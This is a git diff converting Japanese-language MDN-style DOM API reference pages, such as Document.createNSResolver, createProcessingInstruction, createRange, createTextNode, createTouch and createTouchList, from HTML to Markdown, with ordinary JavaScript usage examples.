| + | `NodeFilter.SHOW_TEXT` | `4` | {{ domxref("Text") }} ノードを表します。 | + +- `filter` {{ optional_inline() }} + - : NodeFilter インターフェースを実装したオブジェクト。その acceptNode() メソッドは、反復可能なノードのリストに含めるかどうかを決定するために、 whatToShow フラグによって含まれていると受け入れられたルートを基準としたサブツリーの各ノードに対して呼び出されます (代わりに単純なコールバック関数を使用することもできます)。このメソッドは `NodeFilter.FILTER_ACCEPT`, `NodeFilter.FILTER_REJECT`, or `NodeFilter.FILTER_SKIP` のいずれかを返します。[例](#example)を参照してください。 + +> **Note:** Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9) より前の版では、このメソッドは DOM4 仕様の一部ではないオプションの 4 番目の引数 (entityReferenceExpansion) を受け入れていました。この引数は、エンティティ参照ノードの子がイテレーターから見えるかどうかを示していました。このようなノードはブラウザーでは作成されないので、この引数は何の効果もありませんでした。 + +## 例 + +```js +const nodeIterator = document.createNodeIterator( + document.body, + NodeFilter.SHOW_ELEMENT, + function(node) { + return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT; + } +); +const pars = []; +let currentNode; + +while (currentNode = nodeIterator.nextNode()) { + pars.push(currentNode); +} +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createNodeIterator")}} diff --git a/files/ja/web/api/document/creatensresolver/index.html b/files/ja/web/api/document/creatensresolver/index.html deleted file mode 100644 index 0027c1366a1912..00000000000000 --- a/files/ja/web/api/document/creatensresolver/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Document.createNSResolver() -slug: Web/API/Document/createNSResolver -tags: - - API - - DOM - - DOM Reference - - Method - - Reference -translation_of: Web/API/Document/createNSResolver ---- -

{{ ApiRef("DOM") }}

- -

指定されたノードのスコープで定義を尊重する名前空間を解決する XPathNSResolver を生成します。

- -

構文

- -
nsResolver = document.createNSResolver(node);
-
- -

引数

- - - -

返値

- - - -

- -

任意の DOM ノードをネームスペースを解決するように修正し、 XPath 式が文書内に現れたノードのコンテキストに対して容易に評価できるようにします。このアダプターは、 lookupNamespaceURI が呼び出されたときにノードの階層で使用可能な現在の情報を使用して、指定された接頭辞から namespaceURI を解決する際に、ノード上の DOM Level 3 メソッド lookupNamespaceURI のように機能します。 暗黙の xml 接頭辞も正しく解決されます。

- -

なお、 XPath は、ヌル名前空間の要素と一致する接頭辞のない QNames を定義します。 XPath には、通常の要素参照に適用される既定の名前空間を選択する方法はありません (例えば xmlns='http://www.w3.org/1999/xhtml' における p[@id='_myid'])。ヌルではない名前空間の既定の要素を照合するには、 *namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid'] のような形を使用して特定の要素を参照するか (このアプローチは名前空間が分からない可能性がある動的 XPath 式で動作します)、接頭辞付きの名前の条件を使用し、接頭辞と名前空間を対応付ける名前空間リゾルバーを作成するかしてください。後者のアプローチを採りたいと思うのであれば、ユーザー定義の名前空間リゾルバーの作成方法をお読みください。

- -

createNSResolver は DOM Level 3 で導入されました。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM3 XPath', 'xpath.html#XPathEvaluator-createNSResolver', 'document.createNSResolver')}}{{Spec2('DOM3 XPath')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createNSResolver")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/creatensresolver/index.md b/files/ja/web/api/document/creatensresolver/index.md new file mode 100644 index 00000000000000..873ccf0ddb6a5d --- /dev/null +++ b/files/ja/web/api/document/creatensresolver/index.md @@ -0,0 +1,51 @@ +--- +title: Document.createNSResolver() +slug: Web/API/Document/createNSResolver +tags: + - API + - DOM + - DOM Reference + - Method + - Reference +translation_of: Web/API/Document/createNSResolver +--- +{{ ApiRef("DOM") }} + +指定されたノードのスコープで定義を尊重する名前空間を解決する `XPathNSResolver` を生成します。 + +## 構文 + +``` +nsResolver = document.createNSResolver(node); +``` + +### 引数 + +- `node` は名前空間の解決のためのコンテキストとして使用されるノードです。 + +### 返値 + +- `nsResolver` は XPathNSResolver オブジェクトです。 + +## 注 + +任意の DOM ノードをネームスペースを解決するように修正し、 [XPath](/ja/docs/Web/XPath) 式が文書内に現れたノードのコンテキストに対して容易に評価できるようにします。このアダプターは、 `lookupNamespaceURI` が呼び出されたときにノードの階層で使用可能な現在の情報を使用して、指定された接頭辞から `namespaceURI` を解決する際に、ノード上の DOM Level 3 メソッド `lookupNamespaceURI` のように機能します。 暗黙の `xml` 接頭辞も正しく解決されます。 + +なお、 XPath は、ヌル名前空間の要素と一致する接頭辞のない QNames を定義します。 XPath には、通常の要素参照に適用される既定の名前空間を選択する方法はありません (例えば `xmlns='http://www.w3.org/1999/xhtml'` における `p[@id='_myid'`])。ヌルではない名前空間の既定の要素を照合するには、 `*namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid']` のような形を使用して特定の要素を参照するか ([このアプローチ](/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace)は名前空間が分からない可能性がある動的 XPath 式で動作します)、接頭辞付きの名前の条件を使用し、接頭辞と名前空間を対応付ける名前空間リゾルバーを作成するかしてください。後者のアプローチを採りたいと思うのであれば、[ユーザー定義の名前空間リゾルバーの作成方法](/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript#Implementing_a_User_Defined_Namespace_Resolver)をお読みください。 + +`createNSResolver` は DOM Level 3 で導入されました。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM3 XPath', 'xpath.html#XPathEvaluator-createNSResolver', 'document.createNSResolver')}} | {{Spec2('DOM3 XPath')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createNSResolver")}} + +## 関連情報 + +- [document.evaluate](/ja/docs/Web/API/Document/evaluate) +- [Javascript での XPath の使用](/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript) diff --git a/files/ja/web/api/document/createprocessinginstruction/index.html b/files/ja/web/api/document/createprocessinginstruction/index.html deleted file mode 100644 index 265c070f056404..00000000000000 --- a/files/ja/web/api/document/createprocessinginstruction/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Document.createProcessingInstruction() -slug: Web/API/Document/createProcessingInstruction -tags: - - API - - DOM - - Document - - Method - - Reference - - createProcessInstruction -translation_of: Web/API/Document/createProcessingInstruction ---- -
{{APIRef("DOM")}}
- -

createProcessingInstruction() は新しい処理命令ノードを生成して返します。

- -

新しいノードは {{ domxref("node.insertBefore") }} のように、あらゆることを成立させるために XML 文書に挿入されます。

- -

構文

- -
piNode = document.createProcessingInstruction(target, data)
-
- -

引数

- - - -

例外

- -
-
DOM_INVALID_CHARACTER
-
以下の何れかが真になると例外を投げます。 -
    -
  • 処理命令の target が無効である — 有効な XML 名とは、 "xml", "XML" またはその2つの大文字・小文字の組み合わせであり、 <?xml-stylesheet ?> のような標準化されたものではないものです。
  • -
  • closing processing instruction sequence (?>) がdata に含まれている。
  • -
-
-
- -

- -
var doc = new DOMParser().parseFromString('<foo />', 'application/xml');
-var pi = doc.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"');
-
-doc.insertBefore(pi, doc.firstChild);
-
-console.log(new XMLSerializer().serializeToString(doc));
-// Displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/>
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}{{Spec2('DOM WHATWG')}}変更なし
{{SpecName('DOM4', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}{{Spec2('DOM4')}}data 引数の検証方法のもっと詳細な定義を追加した。
{{SpecName('DOM3 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM3 Core')}}対象名の名前空間が正しい形式かどうかチェックされないこと、どの文字が対象名に違反するかの定義、返された {{domxref("ProcessingInstruction")}} オブジェクトのより詳細についてのメモを追加。
{{SpecName('DOM2 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM2 Core')}}変更なし
{{SpecName('DOM1', 'level-one-core.html#ID-135944439', 'createProcessingInstruction()')}}{{Spec2('DOM1')}}初回定義
- -

ブラウザーの対応

- -

{{Compat("api.Document.createProcessingInstruction")}}

diff --git a/files/ja/web/api/document/createprocessinginstruction/index.md b/files/ja/web/api/document/createprocessinginstruction/index.md new file mode 100644 index 00000000000000..214c050c679b87 --- /dev/null +++ b/files/ja/web/api/document/createprocessinginstruction/index.md @@ -0,0 +1,64 @@ +--- +title: Document.createProcessingInstruction() +slug: Web/API/Document/createProcessingInstruction +tags: + - API + - DOM + - Document + - Method + - Reference + - createProcessInstruction +translation_of: Web/API/Document/createProcessingInstruction +--- +{{APIRef("DOM")}} + +`createProcessingInstruction()` は新しい[処理命令](/ja/docs/Web/API/ProcessingInstruction)ノードを生成して返します。 + +新しいノードは {{ domxref("node.insertBefore") }} のように、あらゆることを成立させるために XML 文書に挿入されます。 + +## 構文 + +```js +piNode = document.createProcessingInstruction(target, data) +``` + +### 引数 + +- `piNode` は結果の {{ domxref("ProcessingInstruction") }} ノードです。 +- `target` は処理命令の最初の部分 (つまり ``) を含む文字列です。 +- `data` は target の後に処理命令が伝えるすべての情報を含む文字列です。このデータはあなた次第ですが、 `?>` は処理命令を閉じるので含むことができません。 + +### 例外 + +- `DOM_INVALID_CHARACTER` + + - : 以下の何れかが真になると例外を投げます。 + + - 処理命令の **_target_** が無効である — 有効な *[XML 名](https://www.w3.org/TR/REC-xml/#dt-name)*とは、 "xml", "XML" またはその 2 つの大文字・小文字の組み合わせであり、 `` のような標準化されたものではないものです。 + - _closing processing instruction sequence_ (`?>`) が`data` に含まれている。 + +## 例 + +```js +var doc = new DOMParser().parseFromString('', 'application/xml'); +var pi = doc.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); + +doc.insertBefore(pi, doc.firstChild); + +console.log(new XMLSerializer().serializeToString(doc)); +// Displays: +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{SpecName('DOM WHATWG', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}} | {{Spec2('DOM WHATWG')}} | 変更なし | +| {{SpecName('DOM4', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}} | {{Spec2('DOM4')}} | `data` 引数の検証方法のもっと詳細な定義を追加した。 | +| {{SpecName('DOM3 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}} | {{Spec2('DOM3 Core')}} | 対象名の名前空間が正しい形式かどうかチェックされないこと、どの文字が対象名に違反するかの定義、返された {{domxref("ProcessingInstruction")}} オブジェクトのより詳細についてのメモを追加。 | +| {{SpecName('DOM2 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}} | {{Spec2('DOM2 Core')}} | 変更なし | +| {{SpecName('DOM1', 'level-one-core.html#ID-135944439', 'createProcessingInstruction()')}} | {{Spec2('DOM1')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.createProcessingInstruction")}} diff --git a/files/ja/web/api/document/createrange/index.html b/files/ja/web/api/document/createrange/index.html deleted file mode 100644 index 2c0bef84df8ea7..00000000000000 --- a/files/ja/web/api/document/createrange/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Document.createRange() -slug: Web/API/Document/createRange -tags: - - API - - DOM - - DOM Reference - - Document - - DocumentRange.createRange - - Method - - Range -translation_of: Web/API/Document/createRange ---- -
{{APIRef("DOM")}}
- -

Document.createRange() メソッドは、新しい {{domxref("Range")}} オブジェクトを返します。

- -

構文

- -
range = document.createRange();
-
- -

range は生成された {{domxref("Range")}} オブジェクトです。

- -

- -
let range = document.createRange();
-
-range.setStart(startNode, startOffset);
-range.setEnd(endNode, endOffset);
-
- -

- -

Range を生成したあと、大部分のメソッドを使用するには境界を設定する必要があります。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createrange', 'document.createRange')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.createRange")}}
diff --git a/files/ja/web/api/document/createrange/index.md b/files/ja/web/api/document/createrange/index.md new file mode 100644 index 00000000000000..fbccc5218f5ca0 --- /dev/null +++ b/files/ja/web/api/document/createrange/index.md @@ -0,0 +1,47 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +tags: + - API + - DOM + - DOM Reference + - Document + - DocumentRange.createRange + - Method + - Range +translation_of: Web/API/Document/createRange +--- +{{APIRef("DOM")}} + +**`Document.createRange()`** メソッドは、新しい {{domxref("Range")}} オブジェクトを返します。 + +## 構文 + +``` +range = document.createRange(); +``` + +_range_ は生成された {{domxref("Range")}} オブジェクトです。 + +## 例 + +```js +let range = document.createRange(); + +range.setStart(startNode, startOffset); +range.setEnd(endNode, endOffset); +``` + +## 注 + +`Range` を生成したあと、大部分のメソッドを使用するには境界を設定する必要があります。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createrange', 'document.createRange')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createRange")}} diff --git a/files/ja/web/api/document/createtextnode/index.html b/files/ja/web/api/document/createtextnode/index.html deleted file mode 100644 index 155bc42a3f4ee0..00000000000000 --- a/files/ja/web/api/document/createtextnode/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Document.createTextNode() -slug: Web/API/Document/createTextNode -tags: - - API - - DOM - - Document - - Reference - - createTextNode - - メソッド -translation_of: Web/API/Document/createTextNode ---- -
{{APIRef("DOM")}}
- -

新しい {{domxref("Text")}} ノードを生成します。このメソッドは HTML 文字をエスケープするのに利用できます。

- -

構文

- -
var text = document.createTextNode(data);
-
- -
    -
  • text: {{domxref("Text")}} ノード。
  • -
  • data: テキストノードの中に入れるデータが入った文字列
  • -
- -

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<title>createTextNode example</title>
-<script>
-function addTextNode(text) {
-  var newtext = document.createTextNode(text),
-      p1 = document.getElementById("p1");
-
-  p1.appendChild(newtext);
-}
-</script>
-</head>
-
-<body>
-  <button onclick="addTextNode('YES! ');">YES!</button>
-  <button onclick="addTextNode('NO! ');">NO!</button>
-  <button onclick="addTextNode('WE CAN! ');">WE CAN!</button>
-
-  <hr />
-
-  <p id="p1">First line of paragraph.</p>
-</body>
-</html>
-
-
- -

{{EmbedLiveSample('Example')}}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.createTextNode")}}

diff --git a/files/ja/web/api/document/createtextnode/index.md b/files/ja/web/api/document/createtextnode/index.md new file mode 100644 index 00000000000000..193bbcc1434ea9 --- /dev/null +++ b/files/ja/web/api/document/createtextnode/index.md @@ -0,0 +1,65 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - API + - DOM + - Document + - Reference + - createTextNode + - メソッド +translation_of: Web/API/Document/createTextNode +--- +{{APIRef("DOM")}} + +新しい {{domxref("Text")}} ノードを生成します。このメソッドは HTML 文字をエスケープするのに利用できます。 + +## 構文 + +``` +var text = document.createTextNode(data); +``` + +- _text_: {{domxref("Text")}} ノード。 +- _data_: テキストノードの中に入れるデータが入った[文字列](/ja/docs/Web/JavaScript/Reference/Global_Objects/String)。 + +## 例 + +```html + + + +createTextNode example + + + + + + + + +
+ +

First line of paragraph.

+ + +``` + +{{EmbedLiveSample('Example')}} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createTextNode")}} diff --git a/files/ja/web/api/document/createtouch/index.html b/files/ja/web/api/document/createtouch/index.html deleted file mode 100644 index 3b8eb3107c3c70..00000000000000 --- a/files/ja/web/api/document/createtouch/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Document.createTouch() -slug: Web/API/Document/createTouch -tags: - - API - - Deprecated - - HTML DOM - - Method - - Mobile - - Reference - - createTouch - - touch -translation_of: Web/API/Document/createTouch ---- -
{{APIRef("DOM")}}{{Deprecated_Header}}
- -
-

注: {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。

-
- -

Document.createTouch() メソッドは、新しい {{DOMxRef("Touch")}} オブジェクトを生成して返します。

- -

構文

- -
var touch = DocumentTouch.createTouch(view, target, identifier, pageX, pageY,
-                                      screenX, screenY);
-
- -

引数

- -
注: すべての引数が省略可能です。
- -
-
view
-
タッチが発生した {{DOMxRef("window")}} です。
-
target
-
タッチの {{DOMxRef("EventTarget")}} です。
-
identifier
-
{{DOMxRef("Touch.identifier")}} の値です。
-
pageX
-
{{DOMxRef("Touch.pageX")}} の値です。
-
pageY
-
{{DOMxRef("Touch.pageY")}} の値です。
-
screenX
-
{{DOMxRef("Touch.screenX")}} の値です。
-
screenY
-
{{DOMxRef("Touch.screenY")}} の値です。
-
- -
注: このメソッドの以前のバージョンでは、以下の追加の引数を含んでいましたが、これらの引数は下記の標準のいずれにも含まれていません。従って、これらの引数は非推奨であり、使用されないと考えてください。
- -
-
clientX
-
{{DOMxRef("Touch.clientX")}} の値です。
-
clientY
-
{{DOMxRef("Touch.clientY")}} の値です。
-
radiusX
-
{{DOMxRef("Touch.radiusX")}} の値です。
-
radiusY
-
{{DOMxRef("Touch.radiusY")}} の値です。
-
rotationAngle
-
{{DOMxRef("Touch.rotationAngle")}} の値です。
-
force
-
{{DOMxRef("Touch.force")}} の値です。
-
- -

返値

- -
-
touch
-
入力引数で記述されたように構成された {{DOMxRef("Touch")}} オブジェクトです。
-
- -

- -

この例は {{DOMxRef("Document.createTouch()")}} メソッドを使用して {{DOMxRef("Touch")}} オブジェクトを生成する様子を示しています。

- -

以下のコードスニペットでは、2つの {{DOMxRef("Touch")}} オブジェクトが target 要素に生成されます。

- -
var target = document.getElementById("target");
-
-var touch1 = Document.createTouch(window, target, 1, 15, 20, 35, 40);
-var touch2 = Document.createTouch(window, target, 2, 25, 30, 45, 50);
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Touch Events", "#widl-Document-createTouch-Touch-WindowProxy-view-EventTarget-target-long-identifier-long-pageX-long-pageY-long-screenX-long-screenY", "Document.createTouch()")}}{{Spec2("Touch Events")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createTouch")}}

- -

関連情報

- -
    -
  • タッチイベント
  • -
  • {{DOMxRef("TouchList")}}
  • -
  • {{DOMxRef("Touch")}}
  • -
  • {{DOMxRef("Document.createTouchList()")}}
  • -
diff --git a/files/ja/web/api/document/createtouch/index.md b/files/ja/web/api/document/createtouch/index.md new file mode 100644 index 00000000000000..3e8fd55bc67b64 --- /dev/null +++ b/files/ja/web/api/document/createtouch/index.md @@ -0,0 +1,95 @@ +--- +title: Document.createTouch() +slug: Web/API/Document/createTouch +tags: + - API + - Deprecated + - HTML DOM + - Method + - Mobile + - Reference + - createTouch + - touch +translation_of: Web/API/Document/createTouch +--- +{{APIRef("DOM")}}{{Deprecated_Header}} + +> **Note:** {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。 + +**`Document.createTouch()`** メソッドは、新しい {{DOMxRef("Touch")}} オブジェクトを生成して返します。 + +## 構文 + +``` +var touch = DocumentTouch.createTouch(view, target, identifier, pageX, pageY, + screenX, screenY); +``` + +### 引数 + +> **Note:** すべての引数が省略可能です。 + +- `view` + - : タッチが発生した {{DOMxRef("window")}} です。 +- `target` + - : タッチの {{DOMxRef("EventTarget")}} です。 +- `identifier` + - : {{DOMxRef("Touch.identifier")}} の値です。 +- `pageX` + - : {{DOMxRef("Touch.pageX")}} の値です。 +- `pageY` + - : {{DOMxRef("Touch.pageY")}} の値です。 +- `screenX` + - : {{DOMxRef("Touch.screenX")}} の値です。 +- `screenY` + - : {{DOMxRef("Touch.screenY")}} の値です。 + +> **Note:** このメソッドの以前のバージョンでは、以下の追加の引数を含んでいましたが、これらの引数は下記の標準のいずれにも含まれていません。従って、これらの引数は非推奨であり、使用されないと考えてください。 + +- `clientX` + - : {{DOMxRef("Touch.clientX")}} の値です。 +- `clientY` + - : {{DOMxRef("Touch.clientY")}} の値です。 +- `radiusX` + - : {{DOMxRef("Touch.radiusX")}} の値です。 +- `radiusY` + - : {{DOMxRef("Touch.radiusY")}} の値です。 +- `rotationAngle` + - : {{DOMxRef("Touch.rotationAngle")}} の値です。 +- `force` + - : {{DOMxRef("Touch.force")}} の値です。 + +### 返値 + +- `touch` + - : 入力引数で記述されたように構成された {{DOMxRef("Touch")}} オブジェクトです。 + +## 例 + +この例は {{DOMxRef("Document.createTouch()")}} メソッドを使用して {{DOMxRef("Touch")}} オブジェクトを生成する様子を示しています。 + +以下のコードスニペットでは、2 つの {{DOMxRef("Touch")}} オブジェクトが `target` 要素に生成されます。 + +```js +var target = document.getElementById("target"); + +var touch1 = Document.createTouch(window, target, 1, 15, 20, 35, 40); +var touch2 = Document.createTouch(window, target, 2, 25, 30, 45, 50); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Touch Events", "#widl-Document-createTouch-Touch-WindowProxy-view-EventTarget-target-long-identifier-long-pageX-long-pageY-long-screenX-long-screenY", "Document.createTouch()")}} | {{Spec2("Touch Events")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.createTouch")}} + +## 関連情報 + +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{DOMxRef("TouchList")}} +- {{DOMxRef("Touch")}} +- {{DOMxRef("Document.createTouchList()")}} diff --git a/files/ja/web/api/document/createtouchlist/index.html b/files/ja/web/api/document/createtouchlist/index.html deleted file mode 100644 index 5766b6465ce7a0..00000000000000 --- a/files/ja/web/api/document/createtouchlist/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Document.createTouchList() -slug: Web/API/Document/createTouchList -tags: - - API - - DOM - - Deprecated - - Document - - Method - - Mobile - - createTouchList - - touch - - タッチパネル - - メソッド -translation_of: Web/API/Document/createTouchList ---- -
{{APIRef("DOM")}}{{Deprecated_Header}}
- -
-

注: {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。

-
- -

Document.createTouchList() メソッドは、新しい {{DOMxRef("TouchList")}} オブジェクトを生成して返します。

- -

構文

- -
var list = DocumentTouch.createTouchList([touch1 [, touch2 [, ...]]]);
-
- -

引数

- -
-
touches
-
0個以上の {{DOMxRef("Touch")}} オブジェクトです。 注: Firefox は {{DOMxRef("Touch")}} オブジェクトの配列も受け付けます。
-
- -

返値

- -
-
list
-
{{DOMxRef("TouchList")}} オブジェクトで、 touches 引数で指定された {{DOMxRef("Touch")}} オブジェクトを含みます。
-
- -

- -

この例は、 {{DOMxRef("Document.createTouchList()")}} メソッドを使用して {{DOMxRef("TouchList")}} オブジェクトを生成する様子を紹介しています。

- -

以下のコードスニペットでは、いくつかの {{DOMxRef("Touch")}} オブジェクトがタッチ点と共に target 要素に生成され、 {{DOMxRef("TouchList")}} オブジェクトを作成するために使用されます。

- -
var target = document.getElementById("target");
-
-// Create some touch points
-var touch1 = document.createTouch(window, target, 1, 15, 20, 35, 40);
-var touch2 = document.createTouch(window, target, 2, 25, 30, 45, 50);
-
-// Create an empty TouchList objects
-var list0 = document.createTouchList();
-
-// Create a TouchList with only one Touch object
-var list1 = document.createTouchList(touch1);
-
-// Create a list with two Touch objects
-var list2 = document.createTouchList(touch1, touch2);
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("Touch Events", "#widl-Document-createTouchList-TouchList-Touch-touches", "Document.createTouchList()")}}{{Spec2("Touch Events")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createTouchList")}}

- -

関連情報

- -
    -
  • タッチイベント
  • -
  • {{DOMxRef("Touch")}}
  • -
  • {{DOMxRef("TouchEvent")}}
  • -
  • {{DOMxRef("TouchList")}}
  • -
  • {{DOMxRef("Document.createTouch()")}}
  • -
diff --git a/files/ja/web/api/document/createtouchlist/index.md b/files/ja/web/api/document/createtouchlist/index.md new file mode 100644 index 00000000000000..323e8cc4c54a55 --- /dev/null +++ b/files/ja/web/api/document/createtouchlist/index.md @@ -0,0 +1,78 @@ +--- +title: Document.createTouchList() +slug: Web/API/Document/createTouchList +tags: + - API + - DOM + - Deprecated + - Document + - Method + - Mobile + - createTouchList + - touch + - タッチパネル + - メソッド +translation_of: Web/API/Document/createTouchList +--- +{{APIRef("DOM")}}{{Deprecated_Header}} + +> **Note:** {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。 + +**`Document.createTouchList()`** メソッドは、新しい {{DOMxRef("TouchList")}} オブジェクトを生成して返します。 + +## 構文 + +``` +var list = DocumentTouch.createTouchList([touch1 [, touch2 [, ...]]]); +``` + +### 引数 + +- `touches` + - : 0 個以上の {{DOMxRef("Touch")}} オブジェクトです。 **注:** Firefox は {{DOMxRef("Touch")}} オブジェクトの[配列](/ja/docs/Web/JavaScript/Reference/Global_Objects/Array)も受け付けます。 + +### 返値 + +- `list` + - : {{DOMxRef("TouchList")}} オブジェクトで、 `touches` 引数で指定された {{DOMxRef("Touch")}} オブジェクトを含みます。 + +## 例 + +この例は、 {{DOMxRef("Document.createTouchList()")}} メソッドを使用して {{DOMxRef("TouchList")}} オブジェクトを生成する様子を紹介しています。 + +以下のコードスニペットでは、いくつかの {{DOMxRef("Touch")}} オブジェクトがタッチ点と共に `target` 要素に生成され、 {{DOMxRef("TouchList")}} オブジェクトを作成するために使用されます。 + +```js +var target = document.getElementById("target"); + +// Create some touch points +var touch1 = document.createTouch(window, target, 1, 15, 20, 35, 40); +var touch2 = document.createTouch(window, target, 2, 25, 30, 45, 50); + +// Create an empty TouchList objects +var list0 = document.createTouchList(); + +// Create a TouchList with only one Touch object +var list1 = document.createTouchList(touch1); + +// Create a list with two Touch objects +var list2 = document.createTouchList(touch1, touch2); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("Touch Events", "#widl-Document-createTouchList-TouchList-Touch-touches", "Document.createTouchList()")}} | {{Spec2("Touch Events")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.createTouchList")}} + +## 関連情報 + +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{DOMxRef("Touch")}} +- {{DOMxRef("TouchEvent")}} +- {{DOMxRef("TouchList")}} +- {{DOMxRef("Document.createTouch()")}} diff --git a/files/ja/web/api/document/currentscript/index.html b/files/ja/web/api/document/currentscript/index.html deleted file mode 100644 index 17eb7fb52ea7dc..00000000000000 --- a/files/ja/web/api/document/currentscript/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Document.currentScript -slug: Web/API/Document/currentScript -tags: - - API - - DOM - - Document - - Property - - Reference - - プロパティ -translation_of: Web/API/Document/currentScript ---- -

{{APIRef("DOM")}}

- -

Document.currentScript プロパティは、現在処理中で、 JavaScript モジュールではないスクリプトの {{HTMLElement("script")}} 要素を返します。 (モジュールの場合は代わりに {{JSxRef("Statements/import%2Emeta", "import.meta")}} を使用してください。

- -

重要なことですが、スクリプト内のコードがコールバックまたはイベントハンドラーとして呼び出されている場合は、 {{HTMLElement("script")}} 要素を参照しないことに注意してください。初期化時に処理されている要素のみを参照します。

- -

構文

- -
var curScriptElement = document.currentScript;
-
- -

- -

次の例では、スクリプトが非同期で実行されているかどうかをチェックしています。

- -
if (document.currentScript.async) {
-  console.log("非同期で実行中");
-} else {
-  console.log("同期で実行中");
-}
- -

実際の表示を確認

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}{{Spec2("HTML WHATWG")}}初回定義
- -

ブラウザーの互換性

- -
{{Compat("api.Document.currentScript")}}
- -

関連情報

- -
    -
  • {{JSxRef("Statements/import%2Emeta", "import.meta")}}
  • -
  • {{HTMLElement("script")}}
  • -
  • {{DOMxRef("document.onafterscriptexecute")}}
  • -
  • {{DOMxRef("document.onbeforescriptexecute")}}
  • -
